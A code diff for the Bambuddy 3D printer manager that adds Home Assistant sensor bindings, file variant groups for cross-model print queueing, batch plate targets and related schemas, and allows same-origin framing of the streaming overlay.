@@ -7472,6 +7530,9 @@ async def lifespan(app: FastAPI):
     # Start the smart plug scheduler for time-based on/off
     smart_plug_manager.start_scheduler()
 
+    # Start the Home Assistant sensor poller (#1148)
+    ha_sensor_manager.start()
+
     # Resume any pending auto-offs that were interrupted by restart
     await smart_plug_manager.resume_pending_auto_offs()
 
@@ -7550,6 +7611,7 @@ async def lifespan(app: FastAPI):
     # Shutdown
     print_scheduler.stop()
     smart_plug_manager.stop_scheduler()
+    ha_sensor_manager.stop()
     notification_service.stop_digest_scheduler()
     github_backup_service.stop_scheduler()
     local_backup_service.stop_scheduler()
@@ -7827,6 +7889,18 @@ async def security_headers_middleware(request, call_next):
             "base-uri 'self'; " + _frame_ancestors("'none'")
         )
     else:
+        # The streaming overlay is embedded same-origin by the URL builder's
+        # preview in Settings (#1422) — the same reason /gcode-viewer allows
+        # 'self' above. Embedding from anywhere else is still refused: 'self'
+        # only permits a framer on this origin, which is Bambuddy's own UI, so
+        # a clickjacking page on another host is blocked exactly as before.
+        # (The overlay draws status over a camera feed and its only interactive
+        # element is the logo link, so there is nothing to bait a click into
+        # even from a same-origin framer.) Cross-origin embedding of the
+        # overlay — Home Assistant on another port — remains what
+        # TRUSTED_FRAME_ORIGINS is for, and _frame_ancestors already folds that
+        # allowlist in.
+        embeddable_same_origin = request.url.path.startswith("/overlay/")
         response.headers["Content-Security-Policy"] = (
             "default-src 'self'; "
             f"script-src 'self' 'nonce-{csp_nonce}'; "
@@ -7837,7 +7911,7 @@ async def security_headers_middleware(request, call_next):
             "font-src 'self' data:; "
             "object-src 'none'; "
             "base-uri 'self'; "
-            "frame-src 'self' http: https:; " + _frame_ancestors("'none'")
+            "frame-src 'self' http: https:; " + _frame_ancestors("'self'" if embeddable_same_origin else "'none'")
         )
     if request.url.scheme == "https":
         response.headers["Strict-Transport-Security"] = "max-age=31536000; includeSubDomains"
@@ -8039,6 +8113,7 @@ app.include_router(cloud.router, prefix=app_settings.api_prefix)
 app.include_router(orca_cloud.router, prefix=app_settings.api_prefix)
 app.include_router(local_presets.router, prefix=app_settings.api_prefix)
 app.include_router(smart_plugs.router, prefix=app_settings.api_prefix)
+app.include_router(ha_sensors.router, prefix=app_settings.api_prefix)
 app.include_router(print_log.router, prefix=app_settings.api_prefix)
 app.include_router(print_queue.router, prefix=app_settings.api_prefix)
 app.include_router(kprofiles.router, prefix=app_settings.api_prefix)
@@ -8057,6 +8132,7 @@ app.include_router(projects.router, prefix=app_settings.api_prefix)
 app.include_router(library.router, prefix=app_settings.api_prefix)
 app.include_router(library_tags.router, prefix=app_settings.api_prefix)
 app.include_router(library_trash.router, prefix=app_settings.api_prefix)
+app.include_router(library_variants.router, prefix=app_settings.api_prefix)
 app.include_router(slice_jobs.router, prefix=app_settings.api_prefix)
 app.include_router(slicer_pipelines.router, prefix=app_settings.api_prefix)
 app.include_router(pipeline_runs.pipeline_run_create_router, prefix=app_settings.api_prefix)

+ 6 - 2
backend/app/models/__init__.py

@@ -8,7 +8,7 @@ from backend.app.models.filament import Filament
 from backend.app.models.github_backup import GitHubBackupConfig, GitHubBackupLog
 from backend.app.models.group import Group, user_groups
 from backend.app.models.kprofile_note import KProfileNote
-from backend.app.models.library import LibraryFile, LibraryFolder
+from backend.app.models.library import FileVariantGroup, LibraryFile, LibraryFolder
 from backend.app.models.local_preset import LocalPreset
 from backend.app.models.location import Location
 from backend.app.models.long_lived_token import LongLivedToken
@@ -19,8 +19,9 @@ from backend.app.models.oidc_provider import OIDCProvider, UserOIDCLink
 from backend.app.models.orca_base_cache import OrcaBaseProfile
 from backend.app.models.pending_upload import PendingUpload
 from backend.app.models.pipeline_run import PipelineJob, PipelineRun
-from backend.app.models.print_batch import PrintBatch
+from backend.app.models.print_batch import PrintBatch, PrintBatchPlate
 from backend.app.models.printer import Printer
+from backend.app.models.printer_ha_sensor import PrinterHASensor
 from backend.app.models.printer_sensor_history import PrinterSensorHistory
 from backend.app.models.project import Project
 from backend.app.models.settings import Settings
@@ -56,11 +57,14 @@ __all__ = [
     "APIKey",
     "AMSSensorHistory",
     "PrinterSensorHistory",
+    "PrinterHASensor",
     "AmsLabel",
     "PendingUpload",
     "PrintBatch",
+    "PrintBatchPlate",
     "LibraryFolder",
     "LibraryFile",
+    "FileVariantGroup",
     "Location",
     "User",
     "Group",

+ 53 - 0
backend/app/models/library.py

@@ -60,6 +60,41 @@ class LibraryFolder(Base):
     archive: Mapped["PrintArchive | None"] = relationship()
 
 
+class FileVariantGroup(Base):
+    """A set of library files that are the same job sliced for different printers.
+
+    Members are peers, not a source/output hierarchy. The group answers one
+    question — "which of these files goes to an H2S, and which to an H2C" — and
+    both open features need that answer from opposite ends: the print queue
+    picks the printer and needs the matching file (#671), the File Manager's
+    print action has the printer already and needs the same match (#2570).
+
+    The group deliberately stores no model information of its own. Each
+    member's target model comes from its own ``file_metadata['sliced_for_model']``,
+    parsed out of the 3MF, so a group can never disagree with the files it
+    contains. It also carries no pointer to an unsliced source file: that is a
+    display concern for the grouped File Manager listing, which is not built.
+
+    Deleting a group ungroups its files rather than deleting them (the member
+    side is ON DELETE SET NULL) — every member is independently printable.
+    """
+
+    __tablename__ = "file_variant_groups"
+
+    id: Mapped[int] = mapped_column(primary_key=True)
+    name: Mapped[str] = mapped_column(String(255))
+
+    created_at: Mapped[datetime] = mapped_column(DateTime, server_default=func.now())
+    updated_at: Mapped[datetime] = mapped_column(DateTime, server_default=func.now(), onupdate=func.now())
+    created_by_id: Mapped[int | None] = mapped_column(ForeignKey("users.id", ondelete="SET NULL"), nullable=True)
+
+    files: Mapped[list["LibraryFile"]] = relationship(
+        back_populates="variant_group",
+        order_by="LibraryFile.variant_position",
+    )
+    created_by: Mapped["User | None"] = relationship()
+
+
 class LibraryFile(Base):
     """File stored in the library."""
 
@@ -98,6 +133,23 @@ class LibraryFile(Base):
     source_type: Mapped[str | None] = mapped_column(String(32), nullable=True)
     source_url: Mapped[str | None] = mapped_column(String(512), nullable=True, index=True)
 
+    # Variant grouping (#671 / #2570). A file belongs to at most one group of
+    # "same job, sliced for a different printer" siblings. SET NULL on group
+    # delete: ungrouping must never take the files with it. ``variant_position``
+    # is the user's priority order within the group — when two printers are idle
+    # at the same scheduler tick, the lowest position wins, so the pick is
+    # reproducible instead of depending on which match the scheduler found first.
+    variant_group_id: Mapped[int | None] = mapped_column(
+        ForeignKey("file_variant_groups.id", ondelete="SET NULL"), nullable=True, index=True
+    )
+    variant_position: Mapped[int] = mapped_column(Integer, default=0, server_default="0")
+    # User's answer to "which printer is this for", for a file that does not say.
+    # Files imported before Bambuddy parsed ``sliced_for_model`` — and raw .gcode —
+    # declare nothing, and without this they could never be grouped. Deliberately
+    # NOT written into ``file_metadata``: that holds what was parsed out of the
+    # file, and a user's assertion must not become indistinguishable from it.
+    variant_target_model: Mapped[str | None] = mapped_column(String(50), nullable=True)
+
     # User tracking (Issue #206)
     created_by_id: Mapped[int | None] = mapped_column(ForeignKey("users.id", ondelete="SET NULL"), nullable=True)
 
@@ -122,6 +174,7 @@ class LibraryFile(Base):
     folder: Mapped["LibraryFolder | None"] = relationship(back_populates="files")
     project: Mapped["Project | None"] = relationship()
     created_by: Mapped["User | None"] = relationship()
+    variant_group: Mapped["FileVariantGroup | None"] = relationship(back_populates="files")
     # Tags (#1268). M2M via library_file_tags. Loaded explicitly via
     # ``selectinload`` in list_files so each row in the listing carries its
     # chip set without N+1 fetches.

+ 3 - 0
backend/app/models/notification.py

@@ -82,6 +82,9 @@ class NotificationProvider(Base):
     on_ams_ht_humidity_high = Column(Boolean, default=False)  # AMS-HT humidity above threshold
     on_ams_ht_temperature_high = Column(Boolean, default=False)  # AMS-HT temperature above threshold
 
+    # Event triggers - Home Assistant sensors bound to a printer (#1148)
+    on_ha_sensor_alert = Column(Boolean, default=False)  # Bound HA sensor entered its alert state
+
     # Event triggers - Build plate detection
     on_plate_not_empty = Column(Boolean, default=True)  # Objects detected on plate before print
     # Off by default: fires after every print, alongside the print-complete alert (#2525)

+ 6 - 0
backend/app/models/notification_template.py

@@ -121,6 +121,12 @@ DEFAULT_TEMPLATES = [
         "title_template": "Bed Cooled",
         "body_template": "{printer}: Bed cooled to {bed_temp}°C (threshold: {threshold}°C)",
     },
+    {
+        "event_type": "ha_sensor_alert",
+        "name": "Home Assistant Sensor Alert",
+        "title_template": "Sensor Alert",
+        "body_template": "{printer}: {sensor} is {state}",
+    },
     {
         "event_type": "first_layer_complete",
         "name": "First Layer Complete",

+ 4 - 0
backend/app/models/oidc_provider.py

@@ -128,6 +128,10 @@ class OIDCProvider(Base):
     # authorize-URL fetch fails or times out, and ``/login?fallback=local``
     # plus ``BAMBUDDY_LOCAL_LOGIN=true`` provide a documented recovery path.
     is_autologin: Mapped[bool] = mapped_column(Boolean, default=False, server_default="0")
+    # Marks the single provider defined by BAMBUDDY_OIDC_* env vars. Upserted on
+    # startup; UI/API writes to it are rejected. Never delete-recreated (user_oidc_links
+    # FK is ON DELETE CASCADE).
+    is_env_managed: Mapped[bool] = mapped_column(Boolean, default=False, server_default="0")
 
     @property
     def has_icon(self) -> bool:

+ 58 - 2
backend/app/models/print_batch.py

@@ -1,13 +1,24 @@
 from datetime import datetime
 
-from sqlalchemy import DateTime, ForeignKey, Integer, String, func
+from sqlalchemy import DateTime, ForeignKey, Integer, String, Text, UniqueConstraint, func
 from sqlalchemy.orm import Mapped, mapped_column, relationship
 
 from backend.app.core.database import Base
 
 
 class PrintBatch(Base):
-    """Batch grouping for multiple queue items created from the same file."""
+    """Batch grouping for multiple queue items created from the same file.
+
+    A batch carries the *intent* — how many of each plate are wanted — in its
+    :class:`PrintBatchPlate` rows, while the queue items it spawned carry what
+    was actually dispatched. Keeping the two apart is what lets a failed print
+    still count as owed work: the plate row's ``quantity_target`` stays put
+    while the failed item lands in the "failed" bucket, so ``remaining`` goes
+    back up instead of the order silently under-delivering (#342).
+
+    Batches created before plate rows existed simply have none; every consumer
+    falls back to deriving progress from the queue items alone.
+    """
 
     __tablename__ = "print_batches"
 
@@ -26,8 +37,17 @@ class PrintBatch(Base):
     # Status: active, completed, cancelled
     status: Mapped[str] = mapped_column(String(20), default="active")
 
+    # Optional link to a Project, which owns the heavier planning metadata
+    # (BOM, attachments, tags). The batch keeps only the two fields that are
+    # useless without it — a date and free text — so an order doesn't force
+    # the user to create a Project first.
+    project_id: Mapped[int | None] = mapped_column(ForeignKey("projects.id", ondelete="SET NULL"), nullable=True)
+    due_date: Mapped[datetime | None] = mapped_column(DateTime, nullable=True)
+    notes: Mapped[str | None] = mapped_column(Text, nullable=True)
+
     # Timestamps
     created_at: Mapped[datetime] = mapped_column(DateTime, server_default=func.now())
+    completed_at: Mapped[datetime | None] = mapped_column(DateTime, nullable=True)
 
     # User tracking
     created_by_id: Mapped[int | None] = mapped_column(ForeignKey("users.id", ondelete="SET NULL"), nullable=True)
@@ -37,6 +57,42 @@ class PrintBatch(Base):
     library_file: Mapped["LibraryFile | None"] = relationship()
     created_by: Mapped["User | None"] = relationship()
     queue_items: Mapped[list["PrintQueueItem"]] = relationship(back_populates="batch")
+    plates: Mapped[list["PrintBatchPlate"]] = relationship(
+        back_populates="batch",
+        cascade="all, delete-orphan",
+        order_by="PrintBatchPlate.sort_order",
+    )
+
+
+class PrintBatchPlate(Base):
+    """How many runs of one plate a batch still owes.
+
+    ``plate_id`` is the plate index within the source 3MF, or NULL for a
+    single-plate file / whole-file print — the same convention
+    ``PrintQueueItem.plate_id`` uses, so progress can be derived by grouping
+    the batch's items on that column.
+    """
+
+    __tablename__ = "print_batch_plates"
+    __table_args__ = (UniqueConstraint("batch_id", "plate_id", name="uq_batch_plate"),)
+
+    id: Mapped[int] = mapped_column(primary_key=True)
+    batch_id: Mapped[int] = mapped_column(
+        ForeignKey("print_batches.id", ondelete="CASCADE"), nullable=False, index=True
+    )
+
+    plate_id: Mapped[int | None] = mapped_column(Integer, nullable=True)
+    plate_name: Mapped[str | None] = mapped_column(String(255), nullable=True)
+
+    # How many runs of this plate the order wants. Zero is legal — a plate the
+    # user explicitly marked "not required" keeps its row so it can be raised
+    # later without re-creating the order.
+    quantity_target: Mapped[int] = mapped_column(Integer, default=1, nullable=False)
+
+    # Display order; mirrors the plate order in the source file.
+    sort_order: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
+
+    batch: Mapped["PrintBatch"] = relationship(back_populates="plates")
 
 
 from backend.app.models.archive import PrintArchive  # noqa: E402

+ 7 - 0
backend/app/models/print_log.py

@@ -24,6 +24,13 @@ class PrintLogEntry(Base):
     archive_id: Mapped[int | None] = mapped_column(
         ForeignKey("print_archives.id", ondelete="SET NULL"), nullable=True, index=True
     )
+    # Which queue item produced this run, when one did. Printer-initiated
+    # prints have none. Batch cost/energy roll-up joins on this (#342): the
+    # archive alone can't attribute a run to an order because several orders
+    # — and plain reprints — share one archive.
+    queue_item_id: Mapped[int | None] = mapped_column(
+        ForeignKey("print_queue.id", ondelete="SET NULL"), nullable=True, index=True
+    )
     print_name: Mapped[str | None] = mapped_column(String(255))
     printer_name: Mapped[str | None] = mapped_column(String(255))
     printer_id: Mapped[int | None] = mapped_column(Integer)

+ 76 - 0
backend/app/models/print_queue.py

@@ -170,6 +170,82 @@ class PrintQueueItem(Base):
     project: Mapped["Project | None"] = relationship(back_populates="queue_items")
     batch: Mapped["PrintBatch | None"] = relationship(back_populates="queue_items")
     created_by: Mapped["User | None"] = relationship()
+    variants: Mapped[list["PrintQueueVariant"]] = relationship(
+        back_populates="queue_item",
+        cascade="all, delete-orphan",
+        order_by="PrintQueueVariant.position",
+    )
+
+
+class PrintQueueVariant(Base):
+    """One candidate file for a queue item that may print on several models (#671).
+
+    A user with an H2S and an H2C slices the same job twice and does not care
+    which machine runs it. Each slice becomes a variant; the scheduler walks them
+    in ``position`` order and takes the first whose model has an idle printer.
+
+    **This is a snapshot, not a pointer.** The candidate list is copied from the
+    library's variant group when the item is queued, and every per-file setting
+    the dispatcher needs is copied with it. Two reasons:
+
+    - Editing the library group afterwards must not silently change a job that is
+      already waiting in the queue.
+    - The per-file settings genuinely differ between candidates and are choices
+      the user made for *this* job, not properties of the file. An H2C slice is
+      dual-nozzle and will not have the same slot count, AMS mapping or nozzle
+      mapping as the H2S slice of the same model.
+
+    On a match the winning variant's fields are written onto the queue row before
+    the dispatch commit, so everything downstream — upload, archive creation,
+    print history, reprint — sees an ordinary single-file item and needs no
+    knowledge that variants exist.
+
+    Variants reference library files only. An archive records a print that already
+    happened, of one specific file, so it is never a candidate for "which of these
+    should we run".
+    """
+
+    __tablename__ = "print_queue_variants"
+
+    id: Mapped[int] = mapped_column(primary_key=True)
+    queue_item_id: Mapped[int] = mapped_column(
+        ForeignKey("print_queue.id", ondelete="CASCADE"), nullable=False, index=True
+    )
+    # User's priority order. When two printers are idle in the same scheduler
+    # pass, the lowest position wins — so the choice is reproducible instead of
+    # depending on which match the matcher happened to find first.
+    position: Mapped[int] = mapped_column(Integer, default=0)
+
+    # CASCADE: deleting the file drops this candidate but leaves the item and its
+    # other candidates alone. Losing the *last* candidate is handled by the
+    # resolver, which holds the item pending with an explicit waiting_reason
+    # rather than letting it sit there looking dispatchable forever.
+    library_file_id: Mapped[int] = mapped_column(ForeignKey("library_files.id", ondelete="CASCADE"), nullable=False)
+    # Normalized short name ("H2S"), taken from the file's own sliced_for_model
+    # at creation, or picked by the user for a legacy file that declares none.
+    target_model: Mapped[str] = mapped_column(String(50), nullable=False)
+
+    # Per-file dispatch settings, same semantics as the identically named columns
+    # on PrintQueueItem — see there for the formats.
+    plate_id: Mapped[int | None] = mapped_column(Integer, nullable=True)
+    ams_mapping: Mapped[str | None] = mapped_column(Text, nullable=True)
+    nozzle_mapping: Mapped[str | None] = mapped_column(Text, nullable=True)
+    filament_overrides: Mapped[str | None] = mapped_column(Text, nullable=True)
+    required_filament_types: Mapped[str | None] = mapped_column(Text, nullable=True)
+    print_time_seconds: Mapped[int | None] = mapped_column(Integer, nullable=True)
+
+    # How many times this candidate has been dispatched and bounced back to
+    # pending by the start-watchdog. The resolver tries least-attempted first, so
+    # a printer that accepts the file and never starts (#1678) hands the job to
+    # the other machine on the next lap instead of burning the item's whole
+    # DISPATCH_MAX_ATTEMPTS budget against the same wedged printer — which is the
+    # entire reason the user queued an alternative.
+    attempt_count: Mapped[int] = mapped_column(Integer, default=0, server_default="0")
+
+    created_at: Mapped[datetime] = mapped_column(DateTime, server_default=func.now())
+
+    queue_item: Mapped["PrintQueueItem"] = relationship(back_populates="variants")
+    library_file: Mapped["LibraryFile"] = relationship()
 
 
 from backend.app.models.archive import PrintArchive  # noqa: E402

+ 2 - 0
backend/app/models/printer.py

@@ -61,6 +61,7 @@ class Printer(Base):
     sensor_history: Mapped[list["PrinterSensorHistory"]] = relationship(
         back_populates="printer", cascade="all, delete-orphan"
     )
+    ha_sensors: Mapped[list["PrinterHASensor"]] = relationship(back_populates="printer", cascade="all, delete-orphan")
 
 
 from backend.app.models.ams_history import AMSSensorHistory  # noqa: E402
@@ -68,5 +69,6 @@ from backend.app.models.archive import PrintArchive  # noqa: E402
 from backend.app.models.kprofile_note import KProfileNote  # noqa: E402
 from backend.app.models.maintenance import PrinterMaintenance  # noqa: E402
 from backend.app.models.notification import NotificationProvider  # noqa: E402
+from backend.app.models.printer_ha_sensor import PrinterHASensor  # noqa: E402
 from backend.app.models.printer_sensor_history import PrinterSensorHistory  # noqa: E402
 from backend.app.models.smart_plug import SmartPlug  # noqa: E402

+ 72 - 0
backend/app/models/printer_ha_sensor.py

@@ -0,0 +1,72 @@
+from datetime import datetime
+
+from sqlalchemy import Boolean, DateTime, Float, ForeignKey, Integer, String, func
+from sqlalchemy.orm import Mapped, mapped_column, relationship
+
+from backend.app.core.database import Base
+
+
+class PrinterHASensor(Base):
+    """A read-only Home Assistant entity bound to a printer (#1148, #448).
+
+    Deliberately *not* a ``SmartPlug`` row with a wider entity pattern. A plug
+    carries auto-on/auto-off, schedules, power alerts, energy snapshots and
+    ``controls_printer_power``; none of that means anything for a door contact,
+    and ``get_smart_plug_by_printer`` would hand the card's power button a
+    sensor to switch. Sensors get their own table and their own read-only
+    routes instead.
+
+    Not to be confused with ``PrinterSensorHistory``, which stores the
+    printer's *own* heater readings.
+    """
+
+    __tablename__ = "printer_ha_sensors"
+
+    id: Mapped[int] = mapped_column(primary_key=True)
+    printer_id: Mapped[int] = mapped_column(ForeignKey("printers.id", ondelete="CASCADE"), index=True)
+
+    name: Mapped[str] = mapped_column(String(100))
+    entity_id: Mapped[str] = mapped_column(String(255))
+
+    # "binary" for binary_sensor.*, "numeric" for sensor.*. Decides how the
+    # state is rendered and which alert fields apply.
+    kind: Mapped[str] = mapped_column(String(16), default="binary")
+
+    # HA's own device_class, snapshotted when the entity is bound. Drives the
+    # on/off wording (door -> Open/Closed, motion -> Detected/Clear) and the
+    # icon, so the card doesn't have to say "On" for an open door.
+    device_class: Mapped[str | None] = mapped_column(String(32), nullable=True)
+    # Numeric only: "°C", "%", "ppm", ... shown next to the value.
+    unit: Mapped[str | None] = mapped_column(String(16), nullable=True)
+
+    # What counts as needing attention. One notion, three consumers: the pill
+    # colour on the card, the notification, and the print interlock.
+    # Binary sensors use alert_state ("on"/"off"/None), numeric ones the
+    # thresholds. All None means "just show the value".
+    alert_state: Mapped[str | None] = mapped_column(String(8), nullable=True)
+    alert_above: Mapped[float | None] = mapped_column(Float, nullable=True)
+    alert_below: Mapped[float | None] = mapped_column(Float, nullable=True)
+
+    # Hold queued prints for this printer while the sensor is in its alert
+    # state — the enclosure-door case this feature was asked for. Opt-in, and
+    # only ever a *hold*: the item stays pending with a waiting_reason and
+    # dispatches by itself once the door closes.
+    block_print: Mapped[bool] = mapped_column(Boolean, default=False, server_default="0")
+    notify_on_alert: Mapped[bool] = mapped_column(Boolean, default=False, server_default="0")
+
+    show_on_printer_card: Mapped[bool] = mapped_column(Boolean, default=True, server_default="1")
+    sort_order: Mapped[int] = mapped_column(Integer, default=0, server_default="0")
+
+    # Last poll result. Persisted so a restart doesn't blank the card until the
+    # first poll lands, and so notifications only fire on a real transition.
+    last_state: Mapped[str | None] = mapped_column(String(64), nullable=True)
+    last_changed: Mapped[datetime | None] = mapped_column(DateTime, nullable=True)
+    last_checked: Mapped[datetime | None] = mapped_column(DateTime, nullable=True)
+
+    created_at: Mapped[datetime] = mapped_column(DateTime, server_default=func.now())
+    updated_at: Mapped[datetime] = mapped_column(DateTime, server_default=func.now(), onupdate=func.now())
+
+    printer: Mapped["Printer"] = relationship(back_populates="ha_sensors")
+
+
+from backend.app.models.printer import Printer  # noqa: E402

+ 12 - 0
backend/app/models/virtual_printer.py

@@ -49,6 +49,18 @@ class VirtualPrinter(Base):
     )  # queue mode: pin per-slot type+color from the 3MF onto the queue
     # item so the scheduler refuses to dispatch onto a printer with the wrong
     # filament loaded (#1188).
+    save_ams_mapping: Mapped[bool] = mapped_column(
+        Boolean, server_default="false"
+    )  # queue mode: keep the slicer's own live-resolved AMS-slot pick (the
+    # `ams_mapping` field on the MQTT `project_file` command) instead of
+    # re-deriving one from the file's static type/color. Stamps it on the queue
+    # item so THIS print dispatches to those trays, and onto the archive's
+    # `extra_data.slicer_ams_mapping` so a later reprint can reuse the same
+    # physical spools. Off by default: taking the slicer's pick makes the
+    # scheduler skip `_compute_ams_mapping_for_printer`, and with it
+    # `prefer_lowest_filament`, its AMS-backup gate (#1766) and the
+    # inventory-remain overrides — so it stays opt-in per virtual printer
+    # rather than changing behaviour for upgraders (#2700).
     gcode_injection: Mapped[bool] = mapped_column(
         Boolean, server_default="false"
     )  # queue mode: opt this VP's Send/Print jobs into per-model G-code snippet

+ 3 - 0
backend/app/schemas/auth.py

@@ -527,6 +527,9 @@ class OIDCProviderResponse(BaseModel):
     icon_url: str | None = None
     default_group_id: int | None = None
     is_autologin: bool = False  # #1589
+    # #2593 — the UI renders this provider read-only; without the flag it would
+    # offer editable fields whose writes the API then refuses with 409.
+    is_env_managed: bool = False
     # Set explicitly in the route handler from `icon_content_type is not None`
     # rather than `@computed_field` (project policy) or `icon_data is not None`
     # (would trigger an async lazy-load on the deferred BLOB column).

+ 13 - 0
backend/app/schemas/github_backup.py

@@ -157,6 +157,19 @@ class GitHubBackupLogResponse(BaseModel):
         from_attributes = True
 
 
+class CloudAccountCounts(BaseModel):
+    """How many connected cloud accounts a backup would collect presets from.
+
+    Counts only, never identities: with auth enabled these are other users'
+    accounts, and whoever administers the backup has no business learning who
+    signed in to what. The number is enough to answer the only question the UI
+    asks — is the Cloud Profiles category worth offering at all (#2717).
+    """
+
+    bambu: int = Field(default=0, description="Connected Bambu Cloud accounts")
+    orca: int = Field(default=0, description="Connected Orca Cloud accounts")
+
+
 class GitHubBackupStatus(BaseModel):
     """Schema for current backup status."""
 

+ 62 - 0
backend/app/schemas/library.py

@@ -220,6 +220,13 @@ class FileListResponse(BaseModel):
     # never null, so the FE can iterate without a guard.
     tags: list[TagSummary] = []
 
+    # Variant grouping (#671 / #2570). ``variant_count`` is the size of the whole
+    # group, not of the current listing — members can live in different folders,
+    # so counting the rows on screen would under-report. Projected in the list
+    # query so the badge and the smart-print decision cost no extra request.
+    variant_group_id: int | None = None
+    variant_count: int = 0
+
     class Config:
         from_attributes = True
 
@@ -397,3 +404,58 @@ class BatchThumbnailResponse(BaseModel):
     succeeded: int
     failed: int
     results: list[BatchThumbnailResult]
+
+
+# ============ Variant Group Schemas (#671 / #2570) ============
+
+
+class VariantGroupMemberRequest(BaseModel):
+    """One file joining a variant group.
+
+    ``target_model`` is optional and normally omitted — it is read from the
+    file's own ``sliced_for_model``. Supply it only for a legacy 3MF that
+    declares no model, where there is nothing else to go on.
+    """
+
+    library_file_id: int
+    target_model: str | None = Field(None, max_length=50)
+
+
+class VariantGroupCreate(BaseModel):
+    """Declare that these files are the same job sliced for different printers.
+
+    Order is significant: it is the priority used when more than one printer is
+    idle at the same moment. Two members minimum — a group of one expresses no
+    choice.
+    """
+
+    members: list[VariantGroupMemberRequest] = Field(..., min_length=2)
+    name: str | None = Field(None, max_length=255)
+
+
+class VariantGroupUpdate(BaseModel):
+    """Rename a group and/or re-order its members.
+
+    ``member_file_ids`` must list exactly the group's current members; a partial
+    list is rejected rather than guessing where the omitted ones belong.
+    """
+
+    name: str | None = Field(None, max_length=255)
+    member_file_ids: list[int] | None = None
+
+
+class VariantGroupMemberResponse(BaseModel):
+    """A file within a group, with the model it will be dispatched to."""
+
+    library_file_id: int
+    filename: str
+    target_model: str
+    position: int
+
+
+class VariantGroupResponse(BaseModel):
+    """A variant group and its members, in priority order."""
+
+    id: int
+    name: str
+    members: list[VariantGroupMemberResponse]

+ 8 - 0
backend/app/schemas/notification.py

@@ -61,6 +61,11 @@ class NotificationProviderBase(BaseModel):
         default=False, description="Notify when AMS-HT temperature exceeds threshold"
     )
 
+    # Event triggers - Home Assistant sensors (#1148)
+    on_ha_sensor_alert: bool = Field(
+        default=False, description="Notify when a bound Home Assistant sensor enters its alert state"
+    )
+
     # Event triggers - Build plate detection
     on_plate_not_empty: bool = Field(default=True, description="Notify when objects detected on plate before print")
     on_plate_clear_required: bool = Field(
@@ -148,6 +153,9 @@ class NotificationProviderUpdate(BaseModel):
     on_ams_ht_humidity_high: bool | None = None
     on_ams_ht_temperature_high: bool | None = None
 
+    # Event triggers - Home Assistant sensors (#1148)
+    on_ha_sensor_alert: bool | None = None
+
     # Event triggers - Build plate detection
     on_plate_not_empty: bool | None = None
     on_plate_clear_required: bool | None = None

+ 9 - 0
backend/app/schemas/notification_template.py

@@ -23,6 +23,7 @@ class EventType(StrEnum):
     AMS_HUMIDITY_HIGH = "ams_humidity_high"
     AMS_TEMPERATURE_HIGH = "ams_temperature_high"
     BED_COOLED = "bed_cooled"
+    HA_SENSOR_ALERT = "ha_sensor_alert"
     TEST = "test"
 
 
@@ -77,6 +78,7 @@ EVENT_VARIABLES: dict[str, list[str]] = {
     "ams_humidity_high": ["printer", "ams_label", "humidity", "threshold", "timestamp", "app_name"],
     "ams_temperature_high": ["printer", "ams_label", "temperature", "threshold", "timestamp", "app_name"],
     "bed_cooled": ["printer", "bed_temp", "threshold", "filename", "timestamp", "app_name"],
+    "ha_sensor_alert": ["printer", "sensor", "state", "timestamp", "app_name"],
     "test": ["app_name", "timestamp"],
     # Queue notifications
     "queue_job_added": ["job_name", "target", "timestamp", "app_name"],
@@ -205,6 +207,13 @@ SAMPLE_DATA: dict[str, dict[str, str]] = {
         "timestamp": "2024-01-15 14:30",
         "app_name": "Bambuddy",
     },
+    "ha_sensor_alert": {
+        "printer": "Bambu X1C",
+        "sensor": "Enclosure Door",
+        "state": "open",
+        "timestamp": "2024-01-15 14:30",
+        "app_name": "Bambuddy",
+    },
     "test": {
         "app_name": "Bambuddy",
         "timestamp": "2024-01-15 14:30",

+ 9 - 1
backend/app/schemas/print_log.py

@@ -1,9 +1,17 @@
 from datetime import datetime
 
-from pydantic import BaseModel
+from pydantic import BaseModel, ConfigDict
 
 
 class PrintLogEntrySchema(BaseModel):
+    # from_attributes lets the routes build this straight off the ORM row.
+    # The GET serialiser used to name every field by hand, and each field it
+    # forgot came back as its default — a silent null rather than an error.
+    # That cost the log its failure_reason (#1687 part 4) and then its cost /
+    # energy_kwh / energy_cost (#2636). Validating from the row removes the
+    # chance to forget one.
+    model_config = ConfigDict(from_attributes=True)
+
     id: int
     archive_id: int | None = None
     print_name: str | None = None

+ 137 - 3
backend/app/schemas/print_queue.py

@@ -3,6 +3,8 @@ from typing import Annotated, Literal
 
 from pydantic import BaseModel, BeforeValidator, Field, PlainSerializer, model_validator
 
+from backend.app.utils.printer_models import MAX_CHAMBER_TEMP_C
+
 
 # Custom serializer to ensure UTC datetimes have Z suffix
 def serialize_utc_datetime(dt: datetime | None) -> str | None:
@@ -42,6 +44,25 @@ def _coerce_tristate(v: object) -> object:
 TriState = Annotated[Literal["off", "on", "auto"], BeforeValidator(_coerce_tristate)]
 
 
+class QueueVariantCreate(BaseModel):
+    """One candidate file for a cross-model queue item (#671).
+
+    Per-file rather than per-item because the settings genuinely differ between
+    candidates: an H2C slice is dual-nozzle and will not share slot count, AMS
+    mapping or nozzle mapping with the H2S slice of the same model.
+
+    ``target_model`` is normally omitted and read from the file's own
+    ``sliced_for_model``; supply it only for a legacy 3MF that declares none.
+    """
+
+    library_file_id: int
+    target_model: str | None = None
+    plate_id: int | None = None
+    ams_mapping: list[int] | None = None
+    nozzle_mapping: list[int] | None = None
+    filament_overrides: list[dict] | None = None
+
+
 class PrintQueueItemCreate(BaseModel):
     printer_id: int | None = None  # None = unassigned, user assigns later
     target_model: str | None = None  # Target printer model (mutually exclusive with printer_id)
@@ -82,7 +103,7 @@ class PrintQueueItemCreate(BaseModel):
     # preheat_enabled setting; 'on' / 'off' force the decision. The chamber
     # target falls through: this override → max(filament-map[loaded tray]) → 0.
     preheat_override: Literal["inherit", "on", "off"] = "inherit"
-    preheat_chamber_target_override: int | None = Field(default=None, ge=0, le=60)
+    preheat_chamber_target_override: int | None = Field(default=None, ge=0, le=MAX_CHAMBER_TEMP_C)
     # Auto-print G-code injection
     gcode_injection: bool = False
     # Batch: create multiple copies (creates a batch if > 1)
@@ -98,6 +119,12 @@ class PrintQueueItemCreate(BaseModel):
     # Direct printer-card uploads are temporary library files. The scheduler
     # deletes them after creating the durable archive copy.
     cleanup_library_after_dispatch: bool = False
+    # Cross-model alternatives (#671): several sliced files, one job, whichever
+    # printer frees up first. Mutually exclusive with printer_id (a specific
+    # printer defeats the purpose) and with archive_id/library_file_id (the
+    # candidates ARE the files). The scheduler resolves one onto the row at
+    # dispatch, after which the item is an ordinary single-file job.
+    variants: list[QueueVariantCreate] | None = None
 
 
